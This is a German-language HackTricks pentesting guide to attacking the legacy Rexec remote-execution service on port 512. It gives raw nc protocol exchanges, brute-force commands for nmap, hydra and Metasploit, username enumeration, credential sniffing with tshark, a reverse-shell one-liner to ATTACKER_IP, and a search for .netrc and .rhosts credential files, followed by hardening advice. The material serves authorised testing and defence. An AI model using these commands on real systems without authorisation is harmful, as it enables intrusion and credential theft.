512 - Pentesting Rexec

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Rexec (remote exec) ist eines der ursprünglichen Berkeley r-services aus der Suite (zusammen mit rlogin, rsh, …). Es bietet eine Remote-Befehlsausführungsfähigkeit, die nur mit einem clear-text username and password authentifiziert wird. Das Protokoll wurde Anfang der 1980er Jahre definiert (siehe RFC 1060) und gilt heutzutage als grundsätzlich unsicher. Dennoch ist es in einigen älteren UNIX-/netzwerkgebundenen Geräten standardmäßig noch aktiviert und taucht gelegentlich bei internen pentests auf.

Default Port: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 Der gesamte Datenverkehr – einschließlich credentials – wird unverschlüsselt übertragen. Jeder, der den Netzwerkverkehr mitschneiden kann, kann den username, password und command auslesen.

Kurzer Protokollüberblick

  1. Client verbindet sich mit TCP-Port 512.
  2. Client sendet drei NUL-terminated Strings:
  • die Portnummer (als ASCII), an der es stdout/stderr empfangen möchte (häufig 0),
  • der username,
  • das password.
  1. Eine abschließende NUL-terminated Zeichenkette mit dem command, der ausgeführt werden soll, wird gesendet.
  2. Der Server antwortet mit einem einzelnen 8-Bit-Statusbyte (0 = Erfolg, 1 = Fehler), gefolgt von der Ausgabe des command.

Wenn das erste Feld non-zero ist, öffnet der Server eine second TCP connection back to the client und verwendet diese für stderr. Das ist sowohl für manual testing als auch für fingerprinting filtering / firewall issues rund um den Dienst nützlich.

Das bedeutet, man kann den Austausch mit nichts anderem als echo -e und nc reproduzieren:

(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

Wenn die Zugangsdaten gültig sind, erhalten Sie die Ausgabe von id direkt über dieselbe Verbindung zurück.

Wenn Sie stderr auf einem dedizierten Listener empfangen möchten, lassen Sie den Server eine Rückverbindung zu Ihnen herstellen:

nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512

Viele gängige Implementierungen (zum Beispiel GNU rexecd) erzwingen weiterhin 16-byte username/password fields und geben verschiedene Diagnose-Strings für invalid usernames vs invalid passwords zurück. Das ist bei der enumeration relevant, weil einige Ziele leak, ob das Konto existiert, bevor man mit brute forcing beginnt.

Manuelle Nutzung des Clients

Viele Linux-Distributionen liefern den veralteten Client noch im Paket inetutils-rexec / rsh-client aus:

rexec -l user -p password <target> "uname -a"

Wenn -p weggelassen wird, fordert der Client interaktiv das Passwort an (sichtbar auf dem Wire als clear-text!).

Um zu vermeiden, dass das Passwort in deiner Shell-Historie / Prozessliste verbleibt, unterstützt GNU rexec außerdem das Einlesen desselben aus stdin:

printf '%s\n' 'password' | rexec -l user -p - <target> "id"

Das ist nicht sicherer im network; es reduziert nur die lokale Exposition auf dem attacking host.


Enumeration & Brute-forcing

Brute-force

Nmap

nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

Das rexec-brute NSE verwendet das oben beschriebene Protokoll, um Anmeldeinformationen sehr schnell auszuprobieren.

Hydra / Medusa / Ncrack

hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra verfügt über ein dediziertes rexec-Modul und bleibt der schnellste offline bruteforcer. medusa (-M REXEC) und ncrack (rexec-Modul) können auf die gleiche Weise verwendet werden.

Username enumeration through server messages

Einige rexecd-Implementierungen geben unterschiedliche Fehlermeldungen aus, wie z. B. Login incorrect. vs Password incorrect.. Wenn Sie dieses Verhalten beobachten, validieren Sie zuerst die Benutzernamen und führen erst danach brute force gegen die Passwörter durch:

printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2

Wenn die Meldungen voneinander abweichen, erstellen Sie eine Liste gültiger Benutzer, bevor Sie einen großen password spray durchführen.

Prüfen Sie verwandte r-services

rexec selbst verwendet password authentication, im Gegensatz zu rsh / rlogin trusted-host logic, aber in der Praxis stammen sie oft aus demselben legacy package (openbsd-inetd, inetutils, vendor UNIX bundles). Wenn TCP 512 offen ist, prüfen Sie sofort auch TCP 513 und 514, da ein Missbrauch von .rhosts / /etc/hosts.equiv einfachere lateral movement ermöglichen kann:

nmap -sV -p 512,513,514 <target>

Siehe auch:

514 - Pentesting Rsh

513 - Pentesting Rlogin

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Das Modul startet bei Erfolg eine Shell und speichert die Zugangsdaten in der Datenbank.


Sniffing credentials

Da alles im Klartext übertragen wird, sind Netzwerkmitschnitte unbezahlbar. Mit einer Kopie des Netzwerkverkehrs kannst du Zugangsdaten extrahieren, ohne das Ziel zu berühren:

tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark aktivieren Sie Decode As … TCP 512 → REXEC, um übersichtlich dargestellte Felder zu sehen.)


Post-Exploitation-Tipps

  • Befehle laufen mit den Rechten des angegebenen Benutzers. Wenn /etc/pam.d/rexec falsch konfiguriert ist (z. B. pam_rootok), sind manchmal Root-Shells möglich.
  • Rexec ignoriert die Shell des Benutzers und führt den Befehl über /bin/sh -c <cmd> aus. Daher können Sie typische Shell-Escape-Tricks (;, $( ), Backticks) verwenden, um mehrere Befehle zu verketten oder Reverse-Shells zu starten:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • Passwörter werden häufig in ~/.netrc oder in alten Automatisierungsskripten auf anderen Systemen gespeichert; wenn Sie einen Host kompromittieren, können Sie diese für lateral movement wiederverwenden:
find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null

Härtung / Erkennung

  • Öffnen Sie rexec nicht; ersetzen Sie es durch SSH. Praktisch alle modernen inetd-Superserver kommentieren den Dienst standardmäßig aus.
  • Wenn Sie es behalten müssen, schränken Sie den Zugriff mit TCP wrappers (/etc/hosts.allow) oder Firewall-Regeln ein und erzwingen Sie starke, konto-spezifische Passwörter.
  • Überwachen Sie Traffic zu :512 und Startvorgänge des rexecd-Prozesses. Ein einzelner Packet-Capture reicht aus, um eine Kompromittierung zu erkennen.
  • Deaktivieren Sie rexec, rlogin und rsh zusammen – sie teilen sich größtenteils denselben Codebase und dieselben Schwachstellen.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks